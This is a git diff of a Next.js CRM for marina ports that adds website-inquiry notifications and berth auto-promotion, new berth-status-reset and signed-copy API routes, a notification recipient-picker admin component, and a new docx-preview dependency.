@@ -4226,6 +4229,9 @@ packages:
|
||||
resolution: {integrity: sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==}
|
||||
engines: {node: '>=0.10.0'}
|
||||
|
||||
docx-preview@0.3.7:
|
||||
resolution: {integrity: sha512-Lav69CTA/IYZPJTsKH7oYeoZjyg96N0wEJMNslGJnZJ+dMUZK85Lt5ASC79yUlD48ecWjuv+rkcmFt6EVPV0Xg==}
|
||||
|
||||
dom-serializer@2.0.0:
|
||||
resolution: {integrity: sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==}
|
||||
|
||||
@@ -11146,6 +11152,10 @@ snapshots:
|
||||
dependencies:
|
||||
esutils: 2.0.3
|
||||
|
||||
docx-preview@0.3.7:
|
||||
dependencies:
|
||||
jszip: 3.10.1
|
||||
|
||||
dom-serializer@2.0.0:
|
||||
dependencies:
|
||||
domelementtype: 2.3.0
|
||||
|
||||
@@ -38,7 +38,7 @@ export default async function DashboardLayout({ children }: { children: React.Re
|
||||
});
|
||||
|
||||
const ports = profile?.isSuperAdmin
|
||||
? await db.query.ports.findMany({ orderBy: portsTable.name })
|
||||
? await db.query.ports.findMany({ orderBy: portsTable.createdAt })
|
||||
: portRoles.map((pr) => pr.port);
|
||||
|
||||
// Prefer a previously-resolved tier from the client's cookie so the
|
||||
|
||||
@@ -16,6 +16,15 @@ import {
|
||||
} from '@/lib/errors';
|
||||
import { logger } from '@/lib/logger';
|
||||
import { checkRateLimit, rateLimiters } from '@/lib/rate-limit';
|
||||
import {
|
||||
isWebsiteIntakeEmailEnabled,
|
||||
notifyWebsiteSubmissionInApp,
|
||||
sendWebsiteSubmissionEmails,
|
||||
} from '@/lib/services/website-intake-email.service';
|
||||
import {
|
||||
autoPromoteWebsiteBerthInquiry,
|
||||
isWebsiteBerthAutopromoteEnabled,
|
||||
} from '@/lib/services/website-intake-promote.service';
|
||||
|
||||
/**
|
||||
* POST /api/public/website-inquiries
|
||||
@@ -169,6 +178,73 @@ export async function POST(req: NextRequest) {
|
||||
},
|
||||
'website inquiry captured',
|
||||
);
|
||||
|
||||
// In-app (bell) notifications for reps - always on a fresh capture,
|
||||
// independent of email ownership, so inquiries surface in the CRM inbox.
|
||||
void notifyWebsiteSubmissionInApp({
|
||||
portId: port.id,
|
||||
portSlug: parsed.port_slug,
|
||||
kind: parsed.kind,
|
||||
submissionId: parsed.submission_id,
|
||||
payload: parsed.payload,
|
||||
}).catch((err) =>
|
||||
logger.error(
|
||||
{ err, submissionId: parsed.submission_id },
|
||||
'Failed to create website-intake notifications',
|
||||
),
|
||||
);
|
||||
|
||||
// Flag-gated berth auto-promote (Option 2). On a fresh capture, a
|
||||
// registration for a specific currently-available berth becomes a prospect
|
||||
// immediately and flips the public map to "Under Offer". Default OFF, so
|
||||
// by default captures wait in triage for a rep (Option 1). Fire-and-forget
|
||||
// after the insert: a promote failure must not 500 the capture POST.
|
||||
if (await isWebsiteBerthAutopromoteEnabled(port.id)) {
|
||||
void autoPromoteWebsiteBerthInquiry({
|
||||
portId: port.id,
|
||||
submissionId: parsed.submission_id,
|
||||
kind: parsed.kind,
|
||||
payload: parsed.payload,
|
||||
})
|
||||
.then((r) => {
|
||||
if (r.promoted) {
|
||||
logger.info(
|
||||
{ submissionId: parsed.submission_id, interestId: r.interestId, berthId: r.berthId },
|
||||
'website inquiry auto-promoted to interest (berth marked under offer)',
|
||||
);
|
||||
} else {
|
||||
logger.info(
|
||||
{ submissionId: parsed.submission_id, reason: r.reason },
|
||||
'website inquiry auto-promote skipped',
|
||||
);
|
||||
}
|
||||
})
|
||||
.catch((err) =>
|
||||
logger.error(
|
||||
{ err, submissionId: parsed.submission_id },
|
||||
'Failed to auto-promote website inquiry',
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
// Flag-gated CRM-owned emails (registrant confirmation + staff alert).
|
||||
// Fire only on this fresh-insert branch so a redelivery never re-sends.
|
||||
// Inline fire-and-forget: a send failure must not 500 the capture POST.
|
||||
if (await isWebsiteIntakeEmailEnabled(port.id)) {
|
||||
void sendWebsiteSubmissionEmails({
|
||||
portId: port.id,
|
||||
portSlug: parsed.port_slug,
|
||||
kind: parsed.kind,
|
||||
submissionId: parsed.submission_id,
|
||||
payload: parsed.payload,
|
||||
}).catch((err) =>
|
||||
logger.error(
|
||||
{ err, submissionId: parsed.submission_id },
|
||||
'Failed to send website-intake emails',
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
// L34 carve-out: deliberate bespoke `{ id, deduped }` shape (NOT the
|
||||
// `{ data }` envelope). This is the public website's intake contract —
|
||||
// the external marketing site reads `id`/`deduped` off the JSON root.
|
||||
|
||||
26
src/app/api/v1/berths/[id]/status/reset/route.ts
Normal file
26
src/app/api/v1/berths/[id]/status/reset/route.ts
Normal file
@@ -0,0 +1,26 @@
|
||||
import { NextResponse } from 'next/server';
|
||||
|
||||
import { withAuth, withPermission } from '@/lib/api/helpers';
|
||||
import { parseBody } from '@/lib/api/route-helpers';
|
||||
import { resetBerthOverrideSchema } from '@/lib/validators/berths';
|
||||
import { resetBerthStatusOverride } from '@/lib/services/berths.service';
|
||||
import { errorResponse } from '@/lib/errors';
|
||||
|
||||
// POST /api/v1/berths/[id]/status/reset
|
||||
// Clears a manual status pin so the berth resumes derived/automatic status.
|
||||
export const POST = withAuth(
|
||||
withPermission('berths', 'edit', async (req, ctx, params) => {
|
||||
try {
|
||||
const { reason } = await parseBody(req, resetBerthOverrideSchema);
|
||||
const updated = await resetBerthStatusOverride(params.id!, ctx.portId, reason, {
|
||||
userId: ctx.userId,
|
||||
portId: ctx.portId,
|
||||
ipAddress: ctx.ipAddress,
|
||||
userAgent: ctx.userAgent,
|
||||
});
|
||||
return NextResponse.json({ data: updated });
|
||||
} catch (error) {
|
||||
return errorResponse(error);
|
||||
}
|
||||
}),
|
||||
);
|
||||
21
src/app/api/v1/documents/[id]/send-signed-copy/route.ts
Normal file
21
src/app/api/v1/documents/[id]/send-signed-copy/route.ts
Normal file
@@ -0,0 +1,21 @@
|
||||
import { NextResponse } from 'next/server';
|
||||
|
||||
import { withAuth, withPermission } from '@/lib/api/helpers';
|
||||
import { errorResponse } from '@/lib/errors';
|
||||
import { sendSignedCopyToClient } from '@/lib/services/documents.service';
|
||||
|
||||
/**
|
||||
* Manually (re)send the finalized signed PDF to the deal's client. Backs
|
||||
* the "Send signed copy to client" affordance on the EOI tab + document
|
||||
* detail. Same `documents.edit` gate as the reminder endpoint.
|
||||
*/
|
||||
export const POST = withAuth(
|
||||
withPermission('documents', 'edit', async (_req, ctx, params) => {
|
||||
try {
|
||||
const result = await sendSignedCopyToClient(params.id!, ctx.portId);
|
||||
return NextResponse.json({ data: result });
|
||||
} catch (error) {
|
||||
return errorResponse(error);
|
||||
}
|
||||
}),
|
||||
);
|
||||
@@ -39,7 +39,7 @@ export async function GET() {
|
||||
if (profile.isSuperAdmin) {
|
||||
const all = await db.query.ports.findMany({
|
||||
where: eq(portsTable.isActive, true),
|
||||
orderBy: portsTable.name,
|
||||
orderBy: portsTable.createdAt,
|
||||
columns: { id: true, slug: true, name: true },
|
||||
});
|
||||
return NextResponse.json({ data: all });
|
||||
|
||||
@@ -47,7 +47,7 @@ export default async function DashboardRedirectPage() {
|
||||
|
||||
if (!slug) {
|
||||
if (profile?.isSuperAdmin) {
|
||||
const first = await db.query.ports.findFirst({ orderBy: portsTable.name });
|
||||
const first = await db.query.ports.findFirst({ orderBy: portsTable.createdAt });
|
||||
slug = first?.slug;
|
||||
} else {
|
||||
const role = await db.query.userPortRoles.findFirst({
|
||||
|
||||
242
src/components/admin/settings/recipient-picker.tsx
Normal file
242
src/components/admin/settings/recipient-picker.tsx
Normal file
@@ -0,0 +1,242 @@
|
||||
'use client';
|
||||
|
||||
import { useState } from 'react';
|
||||
import { Check, ChevronsUpDown, Save, X } from 'lucide-react';
|
||||
import { useQuery } from '@tanstack/react-query';
|
||||
|
||||
import { Badge } from '@/components/ui/badge';
|
||||
import { Button } from '@/components/ui/button';
|
||||
import {
|
||||
Command,
|
||||
CommandEmpty,
|
||||
CommandGroup,
|
||||
CommandInput,
|
||||
CommandItem,
|
||||
CommandList,
|
||||
} from '@/components/ui/command';
|
||||
import { Label } from '@/components/ui/label';
|
||||
import { Popover, PopoverContent, PopoverTrigger } from '@/components/ui/popover';
|
||||
import { Switch } from '@/components/ui/switch';
|
||||
import { Textarea } from '@/components/ui/textarea';
|
||||
import { apiFetch } from '@/lib/api/client';
|
||||
import { cn } from '@/lib/utils';
|
||||
|
||||
interface Option {
|
||||
id: string;
|
||||
label: string;
|
||||
}
|
||||
|
||||
export interface RecipientConfigValue {
|
||||
emails: string[];
|
||||
userIds: string[];
|
||||
roleIds: string[];
|
||||
everyone: boolean;
|
||||
}
|
||||
|
||||
/**
|
||||
* Client mirror of the server's parseRecipientConfig
|
||||
* (`src/lib/services/notification-recipients.ts`) - kept inline because that
|
||||
* module imports server-only deps (drizzle/db). A legacy `string[]` is treated
|
||||
* as explicit emails.
|
||||
*/
|
||||
function parseValue(value: unknown): RecipientConfigValue {
|
||||
const strArr = (v: unknown): string[] =>
|
||||
Array.isArray(v)
|
||||
? v.filter((x): x is string => typeof x === 'string' && x.trim().length > 0)
|
||||
: [];
|
||||
if (Array.isArray(value)) {
|
||||
return { emails: strArr(value), userIds: [], roleIds: [], everyone: false };
|
||||
}
|
||||
if (value && typeof value === 'object') {
|
||||
const o = value as Record<string, unknown>;
|
||||
return {
|
||||
emails: strArr(o.emails),
|
||||
userIds: strArr(o.userIds),
|
||||
roleIds: strArr(o.roleIds),
|
||||
everyone: o.everyone === true,
|
||||
};
|
||||
}
|
||||
return { emails: [], userIds: [], roleIds: [], everyone: false };
|
||||
}
|
||||
|
||||
function MultiSelect({
|
||||
options,
|
||||
selected,
|
||||
onChange,
|
||||
placeholder,
|
||||
searchPlaceholder,
|
||||
emptyText,
|
||||
}: {
|
||||
options: Option[];
|
||||
selected: string[];
|
||||
onChange: (next: string[]) => void;
|
||||
placeholder: string;
|
||||
searchPlaceholder: string;
|
||||
emptyText: string;
|
||||
}) {
|
||||
const [open, setOpen] = useState(false);
|
||||
const byId = new Map(options.map((o) => [o.id, o.label]));
|
||||
const toggle = (id: string) =>
|
||||
onChange(selected.includes(id) ? selected.filter((s) => s !== id) : [...selected, id]);
|
||||
|
||||
return (
|
||||
<div className="space-y-2">
|
||||
{selected.length > 0 ? (
|
||||
<div className="flex flex-wrap gap-1.5">
|
||||
{selected.map((id) => (
|
||||
<Badge key={id} variant="secondary" className="gap-1">
|
||||
{byId.get(id) ?? id.slice(0, 8)}
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => toggle(id)}
|
||||
className="ml-0.5 rounded-sm hover:bg-muted-foreground/20"
|
||||
aria-label={`Remove ${byId.get(id) ?? id}`}
|
||||
>
|
||||
<X className="h-3 w-3" aria-hidden />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
) : null}
|
||||
<Popover open={open} onOpenChange={setOpen} modal>
|
||||
<PopoverTrigger asChild>
|
||||
<Button
|
||||
type="button"
|
||||
variant="outline"
|
||||
role="combobox"
|
||||
className="w-full justify-between sm:w-72"
|
||||
>
|
||||
<span className="truncate text-muted-foreground">{placeholder}</span>
|
||||
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" aria-hidden />
|
||||
</Button>
|
||||
</PopoverTrigger>
|
||||
<PopoverContent className="w-[280px] p-0" align="start">
|
||||
<Command>
|
||||
<CommandInput placeholder={searchPlaceholder} />
|
||||
<CommandList>
|
||||
<CommandEmpty>{emptyText}</CommandEmpty>
|
||||
<CommandGroup>
|
||||
{options.map((o) => (
|
||||
<CommandItem key={o.id} value={o.label} onSelect={() => toggle(o.id)}>
|
||||
<Check
|
||||
className={cn(
|
||||
'mr-2 h-4 w-4',
|
||||
selected.includes(o.id) ? 'opacity-100' : 'opacity-0',
|
||||
)}
|
||||
/>
|
||||
{o.label}
|
||||
</CommandItem>
|
||||
))}
|
||||
</CommandGroup>
|
||||
</CommandList>
|
||||
</Command>
|
||||
</PopoverContent>
|
||||
</Popover>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Admin control for an inquiry notification-recipient setting. Edits the
|
||||
* structured `{emails,userIds,roleIds,everyone}` config (or a legacy email
|
||||
* array) and persists via the parent's `onSave`. The server resolver expands
|
||||
* users/roles/everyone into concrete addresses at send time.
|
||||
*/
|
||||
export function RecipientPicker({
|
||||
value,
|
||||
saving,
|
||||
onSave,
|
||||
}: {
|
||||
value: unknown;
|
||||
saving: boolean;
|
||||
onSave: (config: RecipientConfigValue) => void;
|
||||
}) {
|
||||
const initial = parseValue(value);
|
||||
const [everyone, setEveryone] = useState(initial.everyone);
|
||||
const [userIds, setUserIds] = useState<string[]>(initial.userIds);
|
||||
const [roleIds, setRoleIds] = useState<string[]>(initial.roleIds);
|
||||
const [emailsText, setEmailsText] = useState(initial.emails.join('\n'));
|
||||
|
||||
const { data: usersData } = useQuery<{ data: { id: string; displayName: string | null }[] }>({
|
||||
queryKey: ['recipient-user-options'],
|
||||
queryFn: () => apiFetch('/api/v1/admin/users/options'),
|
||||
staleTime: 5 * 60_000,
|
||||
});
|
||||
const { data: rolesData } = useQuery<{ data: { id: string; name: string }[] }>({
|
||||
queryKey: ['recipient-role-options'],
|
||||
queryFn: () => apiFetch('/api/v1/admin/roles'),
|
||||
staleTime: 5 * 60_000,
|
||||
});
|
||||
|
||||
const userOptions: Option[] = (usersData?.data ?? []).map((u) => ({
|
||||
id: u.id,
|
||||
label: u.displayName ?? u.id.slice(0, 8),
|
||||
}));
|
||||
const roleOptions: Option[] = (rolesData?.data ?? []).map((r) => ({ id: r.id, label: r.name }));
|
||||
|
||||
function handleSave() {
|
||||
const emails = emailsText
|
||||
.split(/[\n,]/)
|
||||
.map((e) => e.trim())
|
||||
.filter((e) => e.length > 0);
|
||||
onSave({ emails, userIds, roleIds, everyone });
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="space-y-3 rounded-md border p-3">
|
||||
<div className="flex items-center justify-between gap-4">
|
||||
<div>
|
||||
<Label>Everyone with inquiry access</Label>
|
||||
<p className="text-xs text-muted-foreground">
|
||||
Send to every user whose role grants inquiry visibility.
|
||||
</p>
|
||||
</div>
|
||||
<Switch checked={everyone} onCheckedChange={setEveryone} />
|
||||
</div>
|
||||
|
||||
<div className="space-y-1.5">
|
||||
<Label className="text-xs uppercase tracking-wide text-muted-foreground">
|
||||
Specific users
|
||||
</Label>
|
||||
<MultiSelect
|
||||
options={userOptions}
|
||||
selected={userIds}
|
||||
onChange={setUserIds}
|
||||
placeholder="Add users…"
|
||||
searchPlaceholder="Search users…"
|
||||
emptyText="No users found."
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div className="space-y-1.5">
|
||||
<Label className="text-xs uppercase tracking-wide text-muted-foreground">Roles</Label>
|
||||
<MultiSelect
|
||||
options={roleOptions}
|
||||
selected={roleIds}
|
||||
onChange={setRoleIds}
|
||||
placeholder="Add roles…"
|
||||
searchPlaceholder="Search roles…"
|
||||
emptyText="No roles found."
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div className="space-y-1.5">
|
||||
<Label className="text-xs uppercase tracking-wide text-muted-foreground">
|
||||
Additional email addresses
|
||||
</Label>
|
||||
<Textarea
|
||||
rows={3}
|
||||
className="text-sm"
|
||||
placeholder="One per line (or comma-separated)"
|
||||
value={emailsText}
|
||||
onChange={(e) => setEmailsText(e.target.value)}
|
||||
/>
|
||||
</div>
|
||||
|
||||
<Button size="sm" onClick={handleSave} disabled={saving}>
|
||||
<Save className="mr-1.5 h-3.5 w-3.5" aria-hidden />
|
||||
{saving ? 'Saving…' : 'Save recipients'}
|
||||
</Button>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -20,6 +20,7 @@ import {
|
||||
} from '@/components/ui/select';
|
||||
import { Separator } from '@/components/ui/separator';
|
||||
import { apiFetch } from '@/lib/api/client';
|
||||
import { RecipientPicker } from './recipient-picker';
|
||||
import { SUPPORTED_CURRENCIES, currencyLabel } from '@/lib/utils/currency';
|
||||
|
||||
interface Setting {
|
||||
@@ -35,7 +36,7 @@ const KNOWN_SETTINGS: Array<{
|
||||
key: string;
|
||||
label: string;
|
||||
description: string;
|
||||
type: 'boolean' | 'number' | 'json' | 'string' | 'select';
|
||||
type: 'boolean' | 'number' | 'json' | 'string' | 'select' | 'recipients';
|
||||
defaultValue: unknown;
|
||||
options?: Array<{ value: string; label: string }>;
|
||||
}> = [
|
||||
@@ -132,18 +133,18 @@ const KNOWN_SETTINGS: Array<{
|
||||
},
|
||||
{
|
||||
key: 'inquiry_notification_recipients',
|
||||
label: 'External Notification Recipients',
|
||||
label: 'Berth & contact inquiry alerts',
|
||||
description:
|
||||
'Additional email addresses that receive sales notifications for new interests (JSON array)',
|
||||
type: 'json',
|
||||
'Who receives staff alerts for new berth + contact-form inquiries: specific users, roles, everyone with inquiry access, and/or explicit email addresses.',
|
||||
type: 'recipients',
|
||||
defaultValue: [],
|
||||
},
|
||||
{
|
||||
key: 'residential_notification_recipients',
|
||||
label: 'Residential Notification Recipients',
|
||||
label: 'Residential inquiry alerts',
|
||||
description:
|
||||
'Email addresses (JSON array) that receive sales alerts for new residential inquiries. Falls back to Inquiry Contact Email when empty.',
|
||||
type: 'json',
|
||||
'Who receives staff alerts for new residential inquiries: users, roles, everyone with inquiry access, and/or emails. Falls back to Inquiry Contact Email when empty.',
|
||||
type: 'recipients',
|
||||
defaultValue: [],
|
||||
},
|
||||
{
|
||||
@@ -451,6 +452,32 @@ export function SettingsManager() {
|
||||
</Card>
|
||||
)}
|
||||
|
||||
{/* Notification Recipients (users / roles / everyone / emails) */}
|
||||
{KNOWN_SETTINGS.some((s) => s.type === 'recipients') && (
|
||||
<Card>
|
||||
<CardHeader>
|
||||
<CardTitle>Notification Recipients</CardTitle>
|
||||
<CardDescription>
|
||||
Who receives staff alerts for new inquiries. Pick specific users, roles, everyone
|
||||
with inquiry access, and/or extra email addresses.
|
||||
</CardDescription>
|
||||
</CardHeader>
|
||||
<CardContent className="space-y-6">
|
||||
{KNOWN_SETTINGS.filter((s) => s.type === 'recipients').map((setting) => (
|
||||
<div key={setting.key} className="space-y-2">
|
||||
<Label>{setting.label}</Label>
|
||||
<p className="text-xs text-muted-foreground">{setting.description}</p>
|
||||
<RecipientPicker
|
||||
value={getEffectiveValue(setting.key, setting.defaultValue)}
|
||||
saving={saving === setting.key}
|
||||
onSave={(config) => saveSetting(setting.key, config)}
|
||||
/>
|
||||
</div>
|
||||
))}
|
||||
</CardContent>
|
||||
</Card>
|
||||
)}
|
||||
|
||||
{/* Numeric Settings */}
|
||||
<Card>
|
||||
<CardHeader>
|
||||
|
||||
@@ -59,8 +59,6 @@ export function AlertCard({ alert, readOnly = false }: AlertCardProps) {
|
||||
) : null}
|
||||
<div className="mt-1 flex items-center gap-2 text-xs text-muted-foreground">
|
||||
<span>{fired}</span>
|
||||
<span aria-hidden>·</span>
|
||||
<span className="font-mono text-xs">{alert.ruleId}</span>
|
||||
</div>
|
||||
</div>
|
||||
{!readOnly ? (
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user